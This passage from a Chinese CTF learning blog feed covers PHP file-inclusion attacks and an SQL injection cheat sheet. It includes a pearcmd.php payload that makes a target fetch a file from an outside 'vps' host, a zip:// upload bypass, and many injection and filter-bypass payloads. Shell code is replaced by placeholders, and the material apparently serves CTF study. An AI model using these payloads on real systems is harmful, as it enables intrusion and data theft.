class="line">        t.start()</span><br><span class="line"></span><br><span class="line">    try:</span><br><span class="line"></span><br><span class="line">        while not e.wait(1):</span><br><span class="line"></span><br><span class="line">            if e.is_set():</span><br><span class="line"></span><br><span class="line">                break</span><br><span class="line"></span><br><span class="line">            with l:</span><br><span class="line"></span><br><span class="line">                sys.stdout.write( &quot;\r% 4d / % 4d&quot; % (counter, maxattempts))</span><br><span class="line"></span><br><span class="line">                sys.stdout.flush()</span><br><span class="line"></span><br><span class="line">                if counter &gt;= maxattempts:</span><br><span class="line"></span><br><span class="line">                    break</span><br><span class="line"></span><br><span class="line">        print</span><br><span class="line"></span><br><span class="line">        if e.is_set():</span><br><span class="line"></span><br><span class="line">            print &quot;Woot!  \m/&quot;</span><br><span class="line"></span><br><span class="line">        else:</span><br><span class="line"></span><br><span class="line">            print &quot;:(&quot;</span><br><span class="line"></span><br><span class="line">    except KeyboardInterrupt:</span><br><span class="line"></span><br><span class="line">        print &quot;\nTelling threads to shutdown...&quot;</span><br><span class="line"></span><br><span class="line">        e.set()</span><br><span class="line"></span><br><span class="line">    print &quot;Shuttin&#x27; down...&quot;</span><br><span class="line"></span><br><span class="line">    for t in tp:</span><br><span class="line"></span><br><span class="line">        t.join()</span><br><span class="line"></span><br><span class="line">if __name__==&quot;__main__&quot;:</span><br><span class="line"></span><br><span class="line">    main()</span><br></pre></td></tr></table></figure><h3 id="利用pearcmd-php从LFI到getshell"><a href="#利用pearcmd-php从LFI到getshell" class="headerlink" title="利用pearcmd.php从LFI到getshell"></a>利用pearcmd.php从LFI到getshell</h3><p>条件:register_argc_argv&#x3D;On</p><p><img src="https://wanth3f1ag.top/image/achieve/202411/PHP%E5%B0%8F%E5%A6%99%E6%8B%9B/71f52d2105a77d98bb8258abc734614c.png" alt="image-20211220194003580"></p><p>pear可以用来拉取远程的代码</p><table><thead><tr><th></th></tr></thead><tbody><tr><td>pear install -R &#x2F;tmp <a href="http://vps/output.txt">http://vps/output.txt</a></td></tr></tbody></table><p>假如我的vps上有一个文件output.txt</p><table><thead><tr><th></th></tr></thead><tbody><tr><td><?php  <br>echo "aaa";  <br>?></td></tr></tbody></table><p>如果你远程服务器中&#x2F;var&#x2F;www&#x2F;html中php代码可以被解析，那么你使用pear拉取到的output.txt就是</p><table><thead><tr><th></th></tr></thead><tbody><tr><td>aaa</td></tr></tbody></table><p>如果远程服务器上的php没有被解析，拉取到的output.txt就是</p><table><thead><tr><th></th></tr></thead><tbody><tr><td><?php  <br>echo "aaa";  <br>?></td></tr></tbody></table><p>所以，<strong>当执行了pear后，会将$_SERVER[‘argv’]当作参数执行！如果存在文件包含漏洞的话，就可以包含pearcmd.php，拉取远程服务器上的文件到靶机，再通过文件包含获取shell。</strong></p><p>如果靶机出网</p><table><thead><tr><th></th></tr></thead><tbody><tr><td>&#x2F;&#x2F;test.php  <br><PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY></td></tr></tbody></table><p>我们尝试拉取远程服务器的output.txt到靶机的&#x2F;tmp目录下</p><p>payload</p><table><thead><tr><th></th></tr></thead><tbody><tr><td><a href="http://localhost/test.php?file=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://vps/output.txt">http://localhost/test.php?file=/usr/local/lib/php/pearcmd.php&amp;+install+-R+/tmp+http://vps/output.txt</a>  <br>&#x2F;&#x2F;shell就是我们的一句话木马</td></tr></tbody></table><p>然后文件包含output.txt同时传参cmd即可</p><p>解释payload</p><ul><li><strong><code>?file=/usr/local/lib/php/pearcmd.php</code></strong><ul><li>指定 <code>pearcmd.php</code> 文件的路径。</li><li><code>pearcmd.php</code> 是 PEAR（PHP 扩展和应用库）的命令行工具。</li></ul></li><li><strong><code>&amp;+install+-R+/tmp+http://vps/output.txt</code></strong><ul><li>这是 <code>pearcmd.php</code> 的 <code>install</code> 命令的参数。</li><li><code>install</code>：安装指定的包。</li><li><code>-R /tmp</code>：将安装的文件保存到 <code>/tmp</code> 目录。</li><li><code>http://vps/output.txt</code>：从远程服务器下载的恶意文件。</li></ul></li></ul><p>如果靶机不出网，我们可以写一句话木马进hello.php</p><table><thead><tr><th></th></tr></thead><tbody><tr><td><PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY></td></tr></tbody></table><p>解释payload</p><ul><li><strong><code>?+config-create+</code></strong><ul><li>这是 PHP 的 <code>pearcmd.php</code> 工具的一个参数，用于创建配置文件。</li><li><code>pearcmd.php</code> 是 PEAR（PHP 扩展和应用库）的命令行工具。</li></ul></li><li><strong><code>/&amp;file=/usr/local/lib/php/pearcmd.php&amp;/</code></strong><ul><li>指定 <code>pearcmd.php</code> 文件的路径。</li><li>如果服务器上存在 <code>pearcmd.php</code>，这段代码会尝试调用它。</li></ul></li></ul><PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY><PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY><PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY>    - 这段代码的目的是将恶意 PHP 代码写入目标文件。- **`+/tmp/hello.php`**    - 指定目标文件的路径，即 `/tmp/hello.php`。    - 如果攻击成功，恶意代码会被写入该文件。<p>后来看了p牛的文章才知道<code>$SERVER</code>并不认为&amp;符号是参数的分隔符，而是将+号作为分隔符</p><p>注意:在传参的时候不能用hackbar，因为<code>&lt;</code>和<code>&gt;</code>会被hackbar编码而不会生效</p><h3 id="zip协议"><a href="#zip协议" class="headerlink" title="zip协议."></a>zip协议.</h3><p>前置<br>**zip:&#x2F;&#x2F;是PHP流协议，语法是：zip:&#x2F;&#x2F;zip文件路径#zip内部文件名<br>它的作用是：<strong>允许 PHP 直接读取并执行压缩包内部的文件</strong><br>第一步：制作木马 写一个 PHP 一句话木马，保存时必须以 .php 结尾，比如命名为 output.txt。</p><p>第二步：压缩文件 将 output.txt 压缩成一个 ZIP 压缩包，比如叫 test.zip。</p><p>第三步：伪装后缀（绕过上传限制） 将 test.zip 重命名为 test.jpg。</p><p>为什么？因为服务器端的上传功能通常只允许 .jpg 格式通过。改成 .jpg 后，服务器就会乖乖把它保存到 upload&#x2F;test.jpg。但这个文件本质上依然是个 ZIP 压缩包。</p><p>注意使用hackbar时将#号转换为%23**</p><p>注意使用hackbar时将#号进行 URL 编码转换为%23<br>polar2026春季挑战杯Pandora Box<br>根据提示上传一个jpg，访问跳转时报错<br><img src="/images/file-include/pasted-image-20260326142733.png" alt="pasted image 20260326142733"></p><p>查看源码</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/index.php?file=php://filter/convert.base64-encode/resource=index</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line">&lt;!DOCTYPE html&gt;</span><br><span class="line">&lt;html lang=&quot;zh-CN&quot;&gt;</span><br><span class="line">&lt;head&gt;</span><br><span class="line">    &lt;meta charset=&quot;UTF-8&quot;&gt;</span><br><span class="line">    &lt;title&gt;Secure Image Loader&lt;/title&gt;</span><br><span class="line">    &lt;style&gt;</span><br><span class="line">        body &#123; font-family: &#x27;Courier New&#x27;, monospace; background: #1e1e1e; color: #c0c0c0; text-align: center; padding-top: 50px; &#125;</span><br><span class="line">        .container &#123; width: 800px; margin: 0 auto; background: #2d2d2d; padding: 30px; border-radius: 8px; box-shadow: 0 0 20px rgba(0,0,0,0.7); &#125;</span><br><span class="line">        h1 &#123; color: #fff; border-bottom: 2px solid #444; padding-bottom: 10px; &#125;</span><br><span class="line">        .hint &#123; background: #3c3c3c; padding: 15px; border-left: 5px solid #007bff; text-align: left; margin-bottom: 20px; color: #ddd; &#125;</span><br><span class="line">        input[type=&quot;file&quot;] &#123; background: #444; color: #fff; padding: 10px; border: 1px solid #555; width: 100%; box-sizing: border-box; &#125;</span><br><span class="line">        .btn &#123; background: #007bff; color: white; border: none; padding: 12px 30px; margin-top: 15px; cursor: pointer; font-size: 16px; transition: 0.3s; &#125;</span><br><span class="line">        .btn:hover &#123; background: #0056b3; &#125;</span><br><span class="line">        .log-box &#123; text-align: left; background: #111; color: #ff6b6b; padding: 15px; border: 1px solid #aa0000; margin-top: 20px; font-size: 14px; overflow-x: auto; &#125;</span><br><span class="line">        .success &#123; color: #51cf66; font-weight: bold; &#125;</span><br><span class="line">    &lt;/style&gt;</span><br><span class="line">&lt;/head&gt;</span><br><span class="line">&lt;body&gt;</span><br><span class="line">    &lt;div class=&quot;container&quot;&gt;</span><br><span class="line">        &lt;h1&gt;试试吧&lt;/h1&gt;</span><br><span class="line">        </span><br><span class="line">        &lt;div class=&quot;hint&quot;&gt;</span><br><span class="line">            &lt;p&gt;&lt;strong&gt;[提示]:&lt;/strong&gt;&lt;/p&gt;</span><br><span class="line">            &lt;ul&gt;</span><br><span class="line">                &lt;li&gt;安全策略：仅允许上传 &lt;strong&gt;.jpg&lt;/strong&gt; 或 &lt;strong&gt;.png&lt;/strong&gt; 格式&lt;/li&gt;</span><br><span class="line">                &lt;li&gt;执行策略：所有文件最终将被强制视为 &lt;strong&gt;PHP脚本&lt;/strong&gt; &lt;/li&gt;</span><br><span class="line">            &lt;/ul&gt;</span><br><span class="line">        &lt;/div&gt;</span><br><span class="line"></span><br><span class="line">        &lt;form action=&quot;&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;</span><br><span class="line">            &lt;input type=&quot;file&quot; name=&quot;file&quot;&gt;</span><br><span class="line">            &lt;br&gt;</span><br><span class="line">            &lt;input type=&quot;submit&quot; value=&quot;UPLOAD IMAGE&quot; class=&quot;btn&quot;&gt;</span><br><span class="line">        &lt;/form&gt;</span><br><span class="line"></span><br><span class="line">        &lt;PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY&gt;</span><br><span class="line">    &lt;/div&gt;</span><br><span class="line">&lt;/body&gt;</span><br><span class="line">&lt;/html&gt;</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/?file=zip://upload/0cd87d5c854a71ec7e3f2e96e8736032.jpg%23shell</span><br></pre></td></tr></table></figure><p><img src="/images/file-include/pasted-image-20260326152004.png" alt="pasted image 20260326152004"><br><img src="/images/file-include/pasted-image-20260326152115.png" alt="pasted image 20260326152115"><br>[参考文献][<a href="https://blog.csdn.net/m0_46467017/article/details/126380415]">https://blog.csdn.net/m0_46467017/article/details/126380415]</a></p>]]>
    </content>
    <id>https://worny666.github.io/2026/07/02/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/</id>
    <link href="https://worny666.github.io/2026/07/02/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/"/>
    <published>2026-07-02T14:00:00.000Z</published>
    <summary>
      <![CDATA[<blockquote>
<p>安全声明：本文仅用于 CTF 学习与授权环境复现。<br>可直接运行的 PHP shell 示例已替换为 <code>&lt;PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY&gt;</code>。<br>对应十六进]]>
    </summary>
    <title>文件包含</title>
    <updated>2026-07-02T15:24:31.037Z</updated>
  </entry>
  <entry>
    <author>
      <name>worny</name>
    </author>
    <category term="CTF" scheme="https://worny666.github.io/categories/CTF/"/>
    <category term="Web安全" scheme="https://worny666.github.io/tags/Web%E5%AE%89%E5%85%A8/"/>
    <category term="SQL注入" scheme="https://worny666.github.io/tags/SQL%E6%B3%A8%E5%85%A5/"/>
    <content>
      <![CDATA[<blockquote><p>安全声明：本文仅用于 CTF 学习与授权环境复现。<br>可直接运行的 PHP shell 示例已替换为 <code>&lt;PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY&gt;</code>。<br>对应十六进制 PHP payload 已替换为 <code>&lt;HEX_ENCODED_PHP_PAYLOAD_OMITTED_FOR_SAFETY&gt;</code>。<br>文中的危险脚本文件名发布时统一改为 <code>output.txt</code>，避免触发杀软或被误用为可执行脚本。</p></blockquote><h1 id="SQL注入"><a href="#SQL注入" class="headerlink" title="SQL注入"></a>SQL注入</h1><h4 id="联合注入"><a href="#联合注入" class="headerlink" title="联合注入"></a>联合注入</h4><ul><li>1.寻找注入点： 通过提交测试Payload（如单引号或逻辑语句）观察页面反应，确认参数是否存在SQL注入风险及判断其类型（字符型&#x2F;数值型）。</li><li>2.确定字段数： 使用ORDER BY子句逐次递增列数进行探测，当页面因超出实际列数而报错时，即可确定原始查询的字段数量。</li><li>3.探测回显点： 构造UNION SELECT语句并令原查询结果为空，观察页面中显示的数字位置，这些位置即为可用于回显数据的字段。</li><li>4.获取当前数据库基本信息： 在回显点位置替换为database()或version()等函数，从而获取当前数据库名称、版本等关键信息。</li><li>5.查询表名： 访问information_schema.tables系统表，查询并列出当前数据库中的所有表名，寻找可能存储目标数据的表。</li><li>6.查询列名： 针对已识别的目标表，查询information_schema.columns系统表，获取该表包含的所有列名结构。</li><li>7.提取最终数据： 直接查询目标表的目标列，将所需数据（如Flag）通过回显点输出到页面，完成整个联合注入攻击流程</li></ul><h4 id="报错注入"><a href="#报错注入" class="headerlink" title="报错注入"></a>报错注入</h4><ul><li>extractvalue (有长度限制，32位)<br><code>select extractvalue(1,concat(0x7e,(select @@version),0x7e));</code><br><code>ERROR 1105 (HY000): XPATH syntax error: &#39;~5.7.17~&#39;</code></li><li>updatexml (有长度限制，32位)<br><code>select updatexml(1,concat(0x7e,(select @@version),0x7e),1);</code><br><code>ERROR 1105 (HY000): XPATH syntax error: &#39;~5.7.17~&#39;</code></li></ul><h4 id="盲注"><a href="#盲注" class="headerlink" title="盲注"></a>盲注</h4><p>#####布尔盲注</p><ul><li><p><code>SUBSTR()</code> 函数用于截取字符串中的一部分。利用 <code>SUBSTR()</code> 函数，逐步截取数据库中的某个数据：<br><code>SUBSTR(string, start, length)</code> 其中，<code>string</code> 表示要截取的字符串，<code>start</code> 表示截取的起始位置，<code>length</code> 表示截取的长度。<code>SUBSTR()</code> 函数会从字符串的 <code>start</code> 位置开始，截取指定长度的字符</p></li><li><p><code>MID()</code> 函数也是用于截取字符串的函数。</p><p><code>MID(string, start, length)</code></p></li></ul><h5 id="时间盲注"><a href="#时间盲注" class="headerlink" title="时间盲注"></a>时间盲注</h5><ul><li><code>IF()</code></li></ul><p><code>IF()</code> 函数是一种条件判断函数，它用于判断指定条件是否成立，并根据判断结果返回不同的值.</p><p><code>[](https://hello-ctf.com/hc-web/sql_injection/#__codelineno-46-1)IF(condition, true, false)</code></p><p>其中，<code>condition</code> 表示要判断的条件，<code>true</code> 表示条件成立时要返回的值，<code>false</code> 表示条件不成立时要返回的值。如果条件成立，<code>IF()</code> 函数将返回 <code>true</code>，否则将返回 false&#96;</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT username,password FROM users WHERE id = 1 AND IF(ASCII(SUBSTR(username,1,1))=97,SLEEP(5),0)</span><br></pre></td></tr></table></figure><h4 id="Sqlite"><a href="#Sqlite" class="headerlink" title="Sqlite"></a>Sqlite</h4><p>判断列数<br><strong>注释符后加空格</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#x27; ORDER BY 1-- </span><br></pre></td></tr></table></figure><p><strong>系统表 sqlite_master</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#x27; UNION SELECT 1, sql, 3 FROM sqlite_master--</span><br></pre></td></tr></table></figure><p><img src="/images/sql-injection/pasted-image-20260326181325.png" alt="pasted image 20260326181325"><br>分析<br>CREATE TABLE flaggggggggggg (id…, flag TEXT…)<br>知道：表名&#x3D;flaggggggggggg，字段名&#x3D;flag</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#x27; UNION SELECT 1, flag, 3 FROM flaggggggggggg--</span><br></pre></td></tr></table></figure><p><img src="/images/sql-injection/pasted-image-20260326181602.png" alt="pasted image 20260326181602"></p><p>或者先查询所有表</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#x27; UNION SELECT 1,name,3 FROM sqlite_master WHERE type=&#x27;table&#x27;--</span><br></pre></td></tr></table></figure><p>接着查结构</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#x27; UNION SELECT 1, sql, 3 FROM sqlite_master WHERE name=&#x27;flaggggggggggg&#x27;--</span><br></pre></td></tr></table></figure><p>最后查看flag</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#x27; UNION SELECT 1, flag, 3 FROM flaggggggggggg--</span><br></pre></td></tr></table></figure><h4 id="注释符"><a href="#注释符" class="headerlink" title="注释符"></a>注释符</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#x27;#&#x27;, &#x27;--+&#x27;, &#x27;-- -&#x27;, &#x27;%23&#x27;, &#x27;%00&#x27;, &#x27;/**/&#x27;</span><br></pre></td></tr></table></figure><h4 id="注释符过滤-–-→-利用-闭合"><a href="#注释符过滤-–-→-利用-闭合" class="headerlink" title="注释符过滤(–,#) → 利用||&#39;闭合"></a>注释符过滤(–,#) → 利用<code>||&#39;</code>闭合</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#x27; OR 1 = 1||&#x27;</span><br></pre></td></tr></table></figure><h4 id="“and、or”-过滤"><a href="#“and、or”-过滤" class="headerlink" title="“and、or” 过滤"></a>“and、or” 过滤</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">可以使用&quot;&amp;&amp;&quot;和&quot;||&quot;代替，</span><br><span class="line"> ^ 代替 or</span><br></pre></td></tr></table></figure><h4 id="关键词过滤"><a href="#关键词过滤" class="headerlink" title="关键词过滤"></a>关键词过滤</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">like模糊匹配去绕过</span><br><span class="line">-1&#x27;||(username)like&#x27;fla_或者是-1&#x27;||(username)like&#x27;fla%</span><br><span class="line">大小写绕过id=-1&#x27; UnIoN SeLeCT xxx</span><br><span class="line">双写绕过适用于将关键词置空的场景id=-1&#x27;UNIunionONSeLselectECT1,2,3–-</span><br><span class="line">编码绕过可以使用URL，hex，ASCII等编码绕过例如&#x27;or 1=127%20%4F%52%201%3D%31%20%2D%2D</span><br><span class="line">注释绕过内联注释/**/将关键词分隔开id=1&#x27; UN/**/ION SE/**/LECT database() --</span><br></pre></td></tr></table></figure><h4 id="空格过滤"><a href="#空格过滤" class="headerlink" title="空格过滤"></a>空格过滤</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">内联注释代替空格id=1_/**/_and_/**/_1=1</span><br><span class="line">括号嵌套select(group_concat(table_name))from(information_schema.taboles)where(tabel_schema=database());</span><br><span class="line">制表符、换行、不可见空格%09(制表符), %0a(换行), %0b(垂直制表符), %0d(回车), %a0(不间断空格)</span><br><span class="line">反引号union(select`table_name`,`table_type`from`information_schema`.`tables`);</span><br></pre></td></tr></table></figure><h4 id="符号”-”过滤"><a href="#符号”-”过滤" class="headerlink" title="符号”&#x3D;”过滤"></a>符号”&#x3D;”过滤</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">1. 用in代替=</span><br><span class="line">   ?id=1 and 1=1 绕过：?id=1 and 1 in (1)</span><br><span class="line">2.like代替&#x27;=&#x27;</span><br><span class="line">3.正则表达式select database() regexp ^1$&#x27;;</span><br><span class="line"></span><br><span class="line">^字符串开头锚点|表示匹配必须从字符串的开头开始|</span><br><span class="line">1字面字符|要匹配的字符是数字1|</span><br><span class="line">$字符串结尾锚点|表示匹配必须到字符串的结尾结束|</span><br></pre></td></tr></table></figure><h4 id="逗号过滤"><a href="#逗号过滤" class="headerlink" title="逗号过滤"></a>逗号过滤</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">逗号被过滤时可以使用from...for...</span><br><span class="line">比如原始：?id=1 and substr(database(),1,1)=&#x27;s&#x27; </span><br><span class="line">    绕过：?id=1 and substr(database() from 1 for 1)=&#x27;s&#x27;</span><br><span class="line">    </span><br><span class="line">limit中的逗号可以替换成offset</span><br><span class="line">select * from users limit 1 offset 2;    #代替 limit 1,2</span><br><span class="line">需要注意，limit 1,2 指的是从第一行往后取2行（包括第一行和第二行)；而limit 1 offset 2是从第一行开始只取第二行</span><br></pre></td></tr></table></figure><h4 id="False注入"><a href="#False注入" class="headerlink" title="False注入"></a>False注入</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">select * from users where username = 0;# 查询表中所有数据</span><br><span class="line">其实是利用了mysql的隐式类型转换，当字符串与数字比较时，会将字符串转换为浮点数，转换失败并返回0，0 = 0返回True，就会返回表中所有数据</span><br></pre></td></tr></table></figure><h4 id="等价函数"><a href="#等价函数" class="headerlink" title="等价函数"></a>等价函数</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">if（）=&gt; case...when..then...else...end</span><br><span class="line">1&#x27; or if((ascii(substr((select database()),1,1))&gt;97),1,0)#</span><br><span class="line">等于1&#x27; or case when ascii(substr((select database()),1,1))&gt;97 then 1 else 0 end#</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">sleep() =&gt; benchmark()</span><br><span class="line"> `benchmark(count, expr)`：将expr执行count次，返回执行总时间</span><br><span class="line">`benchmark(1000000, sleep(1))`不会延迟 1000000 秒</span><br><span class="line">它会执行 `sleep(1)` 100 万次，但 MySQL 优化后只延迟 1-2 秒</span><br><span class="line">​ benchmark()函数用来测试执行速度，第一个参数代表执行的次数，第二个参数代表要执行的表达式或函数，根据执行的时间来判断</span><br><span class="line"> benchmark是MySQL内置函数，不需要额外权限</span><br><span class="line"> </span><br><span class="line"></span><br><span class="line">concat_ws() =&gt; group_concat()   #concat_ws(separator, str1, str2, ...)：用指定分隔符连接多个字符串</span><br><span class="line">select group_concat(database());=select concat_ws(1,database());</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">substr() =&gt; substring() / lpad() / rpad() / left() / mid()</span><br><span class="line">`left(string, length)`获取字符串前length个字符</span><br><span class="line">`MySQL中`mid`是`substr`的别名</span><br><span class="line">`lpad(string, n)` 如果 `n` 小于字符串长度，**会返回字符串的前 `n` 个字符</span><br><span class="line">`rpad(string, n)` 如果 `n` 小于字符串长度，**会返回字符串的后 `n` 个字符</span><br></pre></td></tr></table></figure><h4 id="group-by-代替-order-by-绕过"><a href="#group-by-代替-order-by-绕过" class="headerlink" title="group by 代替 order by 绕过"></a>group by 代替 order by 绕过</h4><h4 id="级联"><a href="#级联" class="headerlink" title="级联"></a>级联</h4><pre><code>- `CONCAT(&#39;a&#39;, &#39;b&#39;) =&gt; &#39;ab&#39;`    - 如果任意一栏为NULL，则返回NULL- `CONCAT_WS(分隔符, 字串1, 字串2...)`    - `CONCAT_WS(&#39;@&#39;, &#39;gg&#39;, &#39;inin&#39;)`=&gt;`gg@inin`</code></pre><h4 id="ASCII-功能"><a href="#ASCII-功能" class="headerlink" title="ASCII 功能"></a>ASCII 功能</h4><ul><li><code>ascii(&#39;A&#39;) =&gt; 65</code></li></ul><h4 id="字符函数"><a href="#字符函数" class="headerlink" title="字符函数"></a>字符函数</h4><ul><li><code>char(65) =&gt; &#39;a&#39;</code></li></ul><h4 id="00截断"><a href="#00截断" class="headerlink" title="00截断"></a>00截断</h4><p><strong>PHP版本 &lt; 5.4.3</strong>：在PHP 5.3.4及以后版本中，此漏洞已被修复</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&#x27;%00&#x27; OR 1=1 --</span><br><span class="line">%00被解释为空字符</span><br></pre></td></tr></table></figure><h4 id="join无列名注入"><a href="#join无列名注入" class="headerlink" title="join无列名注入"></a>join无列名注入</h4><p>join是SQL语句中的连接字符 我们可以通过join将两张表中的列连接在⼀块 就导致有可能会产⽣<br>相同的表名，但是jion不允许合并的两个表中有相同的列名，因此通过报错得到列名</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">1&#x27; || extractvalue(1,concat(0x07, (select * from(select * from output b join output c)a), 0x07))#</span><br></pre></td></tr></table></figure><h4 id="Cookie-注入"><a href="#Cookie-注入" class="headerlink" title="Cookie 注入"></a>Cookie 注入</h4><h4 id="User-Agent-注入"><a href="#User-Agent-注入" class="headerlink" title="User-Agent 注入"></a>User-Agent 注入</h4><h4 id="Refer-注入"><a href="#Refer-注入" class="headerlink" title="Refer 注入"></a>Refer 注入</h4><h4 id="二次注入"><a href="#二次注入" class="headerlink" title="二次注入"></a>二次注入</h4><p>二次注入的原理，在第一次进行数据库插入数据的时候，使用了 addslashes 、get_magic_quotes_gpc、mysql_escape_string、mysql_real_escape_string等函数对其中的特殊字符进行了转义，但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义，但是“\”并不会插入到数据库中，在写入数据库的时候还是保留了原来的数据。在将数据存入到了数据库中之后，开发者就认为数据是可信的。在下一次进行需要进行查询的时候，直接从数据库中取出了脏数据，没有进行进一步的检验和处理，这样就会造成SQL的二次注入。<br>比如在第一次插入数据的时候，数据中带有单引号，直接插入到了数据库中；然后在下一次使用中在拼凑的过程中，就形成了二次注入。<br>二次注入，可以概括为以下两步:</p><p>第一步：插入恶意数据<br>进行数据库插入数据时，对其中的特殊字符进行了转义处理，在写入数据库的时候又保留了原来的数据。<br>第二步：引用恶意数据<br>开发者默认存入数据库的数据都是安全的，在进行查询时，直接从数据库中取出恶意数据，没有进行进一步的检验的处理。</p><h5 id="sqli-labs-24"><a href="#sqli-labs-24" class="headerlink" title="sqli-labs-24"></a>sqli-labs-24</h5><p>查看源码pass_change.php<br><img src="/images/sql-injection/pasted-image-20260201143239.png" alt="pasted image 20260201143239"><br>发现只有username没有过滤<br>注册一个账号admin’#        密码123<br><img src="/images/sql-injection/pasted-image-20260201143602.png" alt="pasted image 20260201143602"><br>更换密码为1111<br><img src="/images/sql-injection/pasted-image-20260201143717.png" alt="pasted image 20260201143717"><br>成功修改</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">UPDATE users SET PASSWORD=&#x27;12345&#x27; where username=&#x27;admin&#x27;#&#x27; and password=&#x27;123456&#x27;</span><br></pre></td></tr></table></figure><p><img src="/images/sql-injection/pasted-image-20260201144340.png" alt="pasted image 20260201144340"><br>此时实际更改的是用户admin的密码，现在登录admin密码1111发现登录成功<br><img src="/images/sql-injection/pasted-image-20260201144739.png" alt="pasted image 20260201144739"></p><h4 id="HTTP参数污染"><a href="#HTTP参数污染" class="headerlink" title="HTTP参数污染"></a>HTTP参数污染</h4><p>由于tomcat和apache解析参数的顺序不同，当注入两个参数?id&#x3D;1&amp;id&#x3D;2，此时tomcat解析的是第一个参数，而apache解析的是第二个参数并且SQL语句也是在apache服务器上执行的，由此绕过tomcat的检测。<br><img src="/images/sql-injection/pasted-image-20260201155629.png" alt="pasted image 20260201155629"></p><h5 id="less29"><a href="#less29" class="headerlink" title="less29"></a>less29</h5><p><img 